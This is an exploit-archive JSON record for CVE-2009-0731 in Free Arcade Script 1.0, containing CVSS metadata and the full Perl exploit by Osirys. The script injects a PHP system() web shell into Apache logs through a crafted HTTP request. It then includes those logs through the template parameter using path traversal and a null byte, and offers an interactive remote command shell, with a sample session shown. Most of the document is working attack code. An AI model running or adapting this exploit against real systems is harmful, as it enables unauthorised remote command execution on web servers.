{"exploit":{"id":"EDB-8094","name":"Free Arcade Script 1.0 - Local File Inclusion (LFI) Command Execution","description":"Free Arcade Script 1.0 - Local File Inclusion (LFI) Command Execution","cves":["CVE-2009-0731"],"author":"Osirys","published":"2009-02-23","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/8094","path":"exploits/php/webapps/8094.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-8094.pl","vulnerabilities":[{"id":"CVE-2009-0731","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in pages/play.php in Free Arcade Script 1.0 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the template parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-0731","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-0731"},"updatedAt":"2024-08-07T04:48:51.580Z","retrievedAt":"2026-11-26T22:11:12.234Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-8094.png?v=2","url":"https://exploitbin.com/exploits/EDB-8094","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-8094/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-8094/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n\n# |----------------------------------------------------------------------------------------------------------------------------------|\n# |                     INFORMATIONS                                                                                                 |\n# |----------------------------------------------------------------------------------------------------------------------------------|\n# |Web Application : Free Arcade Script 1.0                                                                                          |\n# |Download        : http://freearcadescript.net/download.php?type=zip&name=freearcadescript&size=null&file=freearcadescriptv1.0.zip |\n# |----------------------------------------------------------------------------------------------------------------------------------|\n# |Remote Command Execution Exploit via Apache Log Injection                                                                         |\n# |by Osirys                                                                                                                         |\n# |osirys[at]autistici[dot]org                                                                                                       |\n# |osirys.org                                                                                                                        |\n# |Thx&Greets to: evilsocket, Fireshot, Todd, str0ke                                                                                 |\n# |----------------------------------------------------------------------------------------------------------------------------------|\n# |/[path]/pages/play.php is affected to Local File Inclusion vulnerability:\n# |[code]\n# |<?php\n# |$ID = abs((int) $_GET['ID']);\n# |if(!$ID){\n# |    echo '<div class=\\'error\\'>No game selected.</div>';\n# |    include ('templates/'.$template.'/footer.php');\n# |    exit;\n# |}\n# |[/code]\n# |$template is not declared. So, in case of php.ini configuration :\n# |register_globals = On\n# |we can set $template value from GET :\n# |p0c : /[path]/pages/play.php?template=[lfi]%00\n\n# ------------------------------------------------------------------\n# Exploit in action [>!]\n# ------------------------------------------------------------------\n# osirys[~]>$ perl lfi.txt http://localhost/freearcadescriptv1.0/\n#\n#   ---------------------------------\n#     Free Arcade Script RCE Sploit\n#               (Log Inj)\n#               by Osirys\n#   ---------------------------------\n#\n# [*] Injecting evil php code ..\n# [*] Cheeking for Apache Logs ..\n# [*] Apache Log Injection completed\n# [*] Path: /var/log/httpd/access_log\n# [!] Hi my master, do your job now [x]\n#\n# shell[localhost]$> id\n# uid=80(apache) gid=80(apache) groups=80(apache)\n# shell[localhost]$> pws\n# bash: pws: command not found\n# shell[localhost]$> pwd\n# /home/osirys/web/freearcadescriptv1.0/pages\n# shell[localhost]$> exit\n# [-] Quitting ..\n#\n# osirys[~]>$\n# ------------------------------------------------------------------\n\n\nuse IO::Socket::INET;\nuse LWP::UserAgent;\n\nmy $host       =  $ARGV[0];\nmy $lfi_path   =  \"/pages/play.php?template=\";\nmy $null_byte  =  \"%00\";\nmy $rand_a     =  int(rand 150);\nmy $rand1      =  \"1337\".$rand_a.\"1337\";\nmy $rand_b     =  int(rand 150);\nmy $rand2      =  \"1337\".$rand_b.\"1337\";\nmy $gotcha     =  0;\nmy $dir_trasv  =  \"../../../../../../../../../..\";\nmy @logs_dirs  =  qw(\n                      /var/log/httpd/access_log\n                      /var/log/httpd/access.log\n                      /var/log/httpd/error.log\n                      /var/log/httpd/error_log\n                      /var/log/access_log\n                      /logs/error.log\n                      /logs/access.log\n                      /var/log/apache/error_log\n                      /var/log/apache/error.log\n                      /etc/httpd/logs/access_log\n                      /usr/local/apache/logs/error_log\n                      /etc/httpd/logs/access.log\n                      /etc/httpd/logs/error_log\n                      /etc/httpd/logs/error.log\n                      /usr/local/apache/logs/access_log\n                      /usr/local/apache/logs/access.log\n                      /var/www/logs/access_log\n                      /var/www/logs/access.log\n                      /var/log/apache/access_log\n                      /var/log/apache/access.log\n                      /var/log/access_log\n                      /var/www/logs/error_log\n                      /var/www/logs/error.log\n                      /usr/local/apache/logs/error.log\n                      /var/log/error_log\n                      /apache/logs/error.log\n                      /apache/logs/access.log\n                    );\n\nmy $php_code   =  \"<?php if(get_magic_quotes_gpc()){ \\$_GET[cmd]=st\".\n                  \"ripslashes(\\$_GET[cmd]);} system(\\$_GET[cmd]);?>\";\n\n($host) || help(\"-1\");\ncheek($host) == 1 || help(\"-2\");\n&banner;\n\n$datas = get_input($host);\n$datas =~ /(.*) (.*)/;\n($h0st,$path) = ($1,$2);\n\n\n$sock = IO::Socket::INET->new(\n                                PeerAddr => $h0st,\n                                PeerPort => 80,\n                                Proto => \"tcp\"\n                             ) || die \"Can't connect to $host:80!\\n\";\n\nprint \"[*] Injecting evil php code ..\\n\";\n\n\nprint $sock \"GET /Osirys_log_inj start0\".$rand1.$php_code.\"0end\".$rand2.\" HTTP/1.1\\r\\n\";\nprint $sock \"Host: \".$host.\"\\r\\n\";\nprint $sock \"Connection: close\\r\\n\\r\\n\";\nclose($sock);\n\nprint \"[*] Cheeking for Apache Logs ..\\n\";\n\nwhile (($log = <@logs_dirs>)&&($gotcha != 1)) {\n    $tmp_path = $host.$lfi_path.$dir_trasv.$log.$null_byte;\n    $re = get_req($tmp_path);\n    if ($re =~ /Osirys_log_inj/) {\n        $gotcha = 1;\n        $log_path = $tmp_path;\n        print \"[*] Apache Log Injection completed\\n\";\n        print \"[*] Path: $log\\n\";\n        print \"[!] Hi my master, do your job now [x]\\n\\n\";\n        &exec_cmd;\n    }\n}\n\n$gotcha == 1 || die \"[-] Couldn't find Apache Logs\\n\";\n\nsub exec_cmd {\n    $h0st !~ /www\\./ || $h0st =~ s/www\\.//;\n    print \"shell[$h0st]\\$> \";\n    $cmd = <STDIN>;\n    $cmd !~ /exit/ || die \"[-] Quitting ..\\n\\n\";\n    $exec_url = $log_path.\"&cmd=\".$cmd;\n    my $re = get_req($exec_url);\n    my $content = tag($re);\n    if ($content =~ m/start0$rand1(.+)\\*0end$rand2/g) {\n        my $out = $1;\n        $out =~ s/\\$/ /g;\n        $out =~ s/\\*/\\n/g;\n        chomp($out);\n        print \"$out\\n\";\n        &exec_cmd;\n    }\n    else {\n        $c++;\n        $cmd =~ s/\\n//;\n        print \"bash: \".$cmd.\": command not found\\n\";\n        $c < 3 || die \"[-] Command are not executed.\\n[-] Something wrong. Exploit Failed !\\n\\n\";\n        &exec_cmd;\n    }\n\n}\n\nsub get_req() {\n    $link = $_[0];\n    my $req = HTTP::Request->new(GET => $link);\n    my $ua = LWP::UserAgent->new();\n    $ua->timeout(4);\n    my $response = $ua->request($req);\n    return $response->content;\n}\n\nsub cheek() {\n    my $host = $_[0];\n    if ($host =~ /http:\\/\\/(.*)/) {\n        return 1;\n    }\n    else {\n        return 0;\n    }\n}\n\nsub get_input() {\n    my $host = $_[0];\n    $host =~ /http:\\/\\/(.*)/;\n    $s_host = $1;\n    $s_host =~ /([a-z.-]{1,30})\\/(.*)/;\n    ($h0st,$path) = ($1,$2);\n    $path =~ s/(.*)/\\/$1/;\n    $full_det = $h0st.\" \".$path;\n    return $full_det;\n}\n\nsub tag() {\n    my $string = $_[0];\n    $string =~ s/ /\\$/g;\n    $string =~ s/\\s/\\*/g;\n    return($string);\n}\n\nsub banner {\n    print \"\\n\".\n          \"  --------------------------------- \\n\".\n          \"    Free Arcade Script RCE Sploit   \\n\".\n          \"              (Log Inj)             \\n\".\n          \"              by Osirys             \\n\".\n          \"  --------------------------------- \\n\\n\";\n}\n\nsub help() {\n    my $error = $_[0];\n    if ($error == -1) {\n        &banner;\n        print \"\\n[-] Input data failed ! \\n\";\n    }\n    elsif ($error == -2) {\n        &banner;\n        print \"\\n[-] Bad hostname address !\\n\";\n    }\n    print \"[*] Usage : perl $0 http://hostname/cms_path\\n\\n\";\n    exit(0);\n}\n\n# milw0rm.com [2009-02-23]","sha256":"7e65130fcddd4a1558871f9f0ad30bc300ed35b72e1f19ef43d66eba5b419723","bytes":7980,"fetchedAt":"2026-11-26T22:11:10.426Z","encoding":"utf-8 (display only; download retains original bytes)"}